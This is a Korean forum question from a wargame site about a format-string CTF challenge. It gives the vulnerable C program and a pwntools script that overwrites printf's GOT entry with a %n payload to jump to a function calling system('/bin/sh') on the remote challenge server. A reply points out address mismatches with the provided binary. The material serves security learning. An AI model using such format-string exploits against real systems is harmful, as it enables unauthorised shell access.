[got overwriting, FSB] system("/bin/sh")에서 터집니다
ubuntu 16.04에 파이, 카나리 해제되어있는 문제입니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
아래와 같이 익스 코드를 작성했습니다.
from pwn import *
context.arch = "i386"
context.log_level = 'debug'
get_shell_addr = 0x0804867b #134514299
printf_plt = 0x8048460
printf_got = 0x804a010
libc_start_main = 0xf7e1b647
p = remote("host3.dreamhack.games", 20584)
# p = remote("localhost",----)
# sleep(5)
# print(proc.pid_by_name("docker_basic_exploitation_003"))
pause()
fstring = p32(printf_got)
fstring += p32(printf_got+1)
fstring += p32(printf_got+3)
fstring += b'%111x%6$n%1035c%7$n%2946c%8$n' #앞에 4바이트 포함
p.sendline(fstring)
pause()
p.interactive()
이에 다음과 같이 got overwriting을 성공한 걸 볼 수 있습니다
si로 진입하면 get_shell로 흐름이 바뀝니다.
하지만 system("/bin/sh")에서 터집니다.
로컬 디버거뿐만 아니라 원격지에서도 터지는 것을 보니 exploit code에 문제가 있는 것 같은데 이유를 잘 모르겠습니다. 도와주시면 감사하겠습니다..!
#pwnable
#fsb
#systemhacking
#got_overwriting
작성자 정보
답변
1
kimht
공부벌레
안녕하세요, cityofwonder님.
https://dreamhack.io/wargame/challenges/5 에서 첨부파일로 주어지는 바이너리를 사용하셨을까요? (첨부파일로 주어진 바이너리의 get_shell()
주소(0x08048669
)와 스크린샷 상에서 보여지는 get_shell()
주소(0x0804867b
)가 다른 것으로 보입니다. 또한 main()
의 디스어셈블 결과도 다른 것 같습니다.)
만약 소스 코드를 직접 컴파일하여 실습하신 경우에는 실제 문제 바이너리와 달라져서 풀이가 안 될 수 있습니다.
첨부파일로 주어진 바이너리를 이용해서 익스플로잇을 시도해 보시기를 바랍니다!
감사합니다.